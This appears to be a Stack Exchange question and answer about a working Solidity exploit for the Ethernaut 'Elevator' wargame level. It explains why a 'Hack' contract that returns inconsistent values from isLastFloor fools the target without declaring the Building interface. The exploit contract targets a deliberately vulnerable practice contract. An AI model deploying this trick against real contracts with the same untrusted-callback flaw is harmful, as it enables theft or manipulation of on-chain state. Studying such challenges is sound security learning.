0

I am reading a code solution for ethernaut level 11: elevator as below:

// SPDX-License-Identifier: MIT

    pragma solidity ^0.8.0;
    
    
    contract Hack {
        Elevator private immutable target;
        uint private count;
        constructor (address _target){
            target = Elevator(_target);
        }
        function pwn() external{
            target.goTo(1);
            require(target.top(), "not on top");
        }
        function isLastFloor(uint) external returns (bool) {
            count++;
            return count > 1;
        }
    
    }
    interface Building {
      function isLastFloor(uint) external returns (bool);
    }
    
    
    contract Elevator {
      bool public top;
      uint public floor;
    
      function goTo(uint _floor) public {
        Building building = Building(msg.sender);
    
        if (! building.isLastFloor(_floor)) {
          floor = _floor;
          top = building.isLastFloor(floor);
        }
      }
    }

This is a working solution. The thing I just don't understand is, seems "Hack" Contract implements Interface "Building"'s method "isLastFloor" , but there is no declaring of Hack "IS" Building.

Need some help on understanding this, thanks.

1 Answer 1

1

I guess your concern is about the cast Building building = Building(msg.sender); with msg.sender being the Hack contract. It won't throw any error even if msg.sender is any other contracts or a random address. The only place when there is a check for conforming with ABI is at run time here top = building.isLastFloor(floor); If the building (or msg.sender)'s bytecode does not have any function to execute isLastFloor gracefully, it will throw exception.

The purpose of this ethernaut challenge is to let you know that the cast for an interface (Building) doesn't enforce anything or ensuring any logic of the implementation. And you can create any fake contract (like the Hack) contract here to imitate the working of a fake building with any arbitrary logic.

About using contract Hack is Building {, it's ok to do it, but not necessary. You can either do it or not and can still solve the challenge. If you use is Building, you need to override all the functions in the Building interface, that's the difference. Here because there is only one function in Building interface, you only need to override that with actual implementation:

contract Hack is Building{
    // ...
    function isLastFloor(uint) external override returns (bool) {
    // ...
   }
}
1
  • thanks for the detailed and great answer! I did learn multiple things from you.
    – Nick
    Jan 4 at 6:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.